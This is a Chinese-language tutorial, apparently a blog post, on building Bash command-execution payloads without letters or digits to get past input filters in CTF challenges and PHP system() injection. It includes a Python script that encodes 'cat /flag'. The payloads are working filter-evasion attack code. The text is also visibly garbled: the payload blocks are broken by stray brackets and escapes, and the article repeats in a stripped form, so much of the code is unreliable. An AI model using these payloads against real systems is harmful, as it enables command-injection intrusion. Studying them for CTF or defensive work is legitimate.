利用shell脚本变量构造无字母数字命令
字数 1001 2025-08-24 10:10:13

Shell脚本变量构造无字母数字命令执行技术详解

前言

本文详细讲解如何利用Shell脚本变量构造无字母数字的命令执行方法,这些技术在CTF比赛和实际渗透测试中都有应用价值。

Shell脚本中$的多种用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符
$@ 脚本后所输入的所有字符
$_ 表示上一个命令的最后一个参数
$# 脚本后所输入的字符串个数
`

\[` | 脚本运行的当前进程ID号 | | `$!` | 表示最后执行的后台命令的PID | | `$?` | 显示最后命令的退出状态,0表示没有错误 | ## 基础构造方法 ### 八进制字符表示法 在Linux中可以使用`$'\xxx'`的方式执行命令,其中`xxx`是字符的八进制表示: ```bash $'\154\163' # 等同于执行ls ``` ### 数字表示法 Bash支持`[base#]n`的方式表示数字: ```bash $((2#100)) # 表示十进制数字4 ``` 通过位移运算可以构造数字: ```bash $((1<<1)) # 结果为2 ``` ## 无字母数字命令构造 ### 利用`$#`构造 `$#`表示脚本参数的个数,当没有参数时为0: ```bash ${#} # 值为0 ${##} # 值为1(当有一个参数时) ``` 构造示例: ```bash ${!#} # 等同于$0(bash) ``` 完整payload示例: ```bash ${!#}<<<${!#}\ \]

\(\(((1<<1))\)\)#10011010\)\

\[\($((1<<1))$\)\#10100011\)\)\\\' ``` ### 利用`$?`构造 `$?`表示上一条命令的退出状态,成功时为0: ```bash __=$? # 值为0 ``` 通过自增运算构造数字: ```bash $((__++)) # 结果为0,然后__变为1 $((__++)) # 结果为1,然后__变为2 ``` 完整payload示例: ```bash __=$?;${!__}<<<${!__}\ \]

\(\(((__++))<<\)((__++))$\)#10001111\)\

\[\($((__))<<$((__++))$\)\#10001101\)\)\\\' ``` ### 利用`$(())`构造 `$(())`可以用于算术运算,空表达式结果为0: ```bash __=$(()) # 值为0 ``` 构造示例: ```bash __=$(());${!__}<<<${!__}\ \]

\(\(((__++))<<\)((__++))$\)#10001111\)\

\[\($((__))<<$((__++))$\)\#10001101\)\)\\\' ``` ## 复杂命令执行 对于需要参数的命令(如`cat /flag`),可以使用两次here-strings的方法: ```bash $0<<<$0\154\163 # 等同于执行ls ``` ## PHP环境下的应用 在PHP的`system()`函数中,需要注意变量解析的限制。改进方案: ```bash __=${#};${!__}<<<${!__}\ \]

\(\(((1<<1))\)\)#10011010\)\

\[\($((1<<1))$\)\#10100011\)\)\\\' ``` ## 自动化生成脚本 Python生成payload的脚本示例: ```python cmd = 'cat /flag' payload = '' for c in cmd: # 将字符转换为八进制,再转换为二进制 binary = bin(int(oct(ord(c))[2:]))[2:] payload += f'\\\\$((2#{binary}))' # 替换数字为变量构造 payload = payload.replace('1', '$((__++))') payload = payload.replace('2', '$((__<<__))') payload = payload.replace('0', '${#}') payload += '\\\'' print(payload) ``` ## 注意事项 1. 不同Linux发行版可能有差异,建议在CentOS环境下测试 2. PHP的`system()`函数对某些复杂变量解析不完全 3. 实际使用时需要对特殊字符进行URL编码 4. 空格问题需要通过here-strings等技巧解决 ## 参考技术 - 34c3 CTF minbashmaxfun - 2020年安洵杯Web-Bash-Vino0o0o - CTFshow极限命令执行挑战 通过灵活组合这些技术,可以在限制字母数字使用的场景下实现完整的命令执行。\]

Shell脚本变量构造无字母数字命令执行技术详解 前言 本文详细讲解如何利用Shell脚本变量构造无字母数字的命令执行方法,这些技术在CTF比赛和实际渗透测试中都有应用价值。 Shell脚本中$的多种用法 | 变量名 | 含义 | |--------|------| | $0 | 脚本本身的名字 | | $1 | 脚本后所输入的第一串字符 | | $2 | 传递给该shell脚本的第二个参数 | | $* | 脚本后所输入的所有字符 | | $@ | 脚本后所输入的所有字符 | | $_ | 表示上一个命令的最后一个参数 | | $# | 脚本后所输入的字符串个数 | | $$ | 脚本运行的当前进程ID号 | | $! | 表示最后执行的后台命令的PID | | $? | 显示最后命令的退出状态,0表示没有错误 | 基础构造方法 八进制字符表示法 在Linux中可以使用 $'\xxx' 的方式执行命令,其中 xxx 是字符的八进制表示: 数字表示法 Bash支持 [base#]n 的方式表示数字: 通过位移运算可以构造数字: 无字母数字命令构造 利用 $# 构造 $# 表示脚本参数的个数,当没有参数时为0: 构造示例: 完整payload示例: 利用 $? 构造 $? 表示上一条命令的退出状态,成功时为0: 通过自增运算构造数字: 完整payload示例: 利用 $(()) 构造 $(()) 可以用于算术运算,空表达式结果为0: 构造示例: 复杂命令执行 对于需要参数的命令(如 cat /flag ),可以使用两次here-strings的方法: PHP环境下的应用 在PHP的 system() 函数中,需要注意变量解析的限制。改进方案: 自动化生成脚本 Python生成payload的脚本示例: 注意事项 不同Linux发行版可能有差异,建议在CentOS环境下测试 PHP的 system() 函数对某些复杂变量解析不完全 实际使用时需要对特殊字符进行URL编码 空格问题需要通过here-strings等技巧解决 参考技术 34c3 CTF minbashmaxfun 2020年安洵杯Web-Bash-Vino0o0o CTFshow极限命令执行挑战 通过灵活组合这些技术,可以在限制字母数字使用的场景下实现完整的命令执行。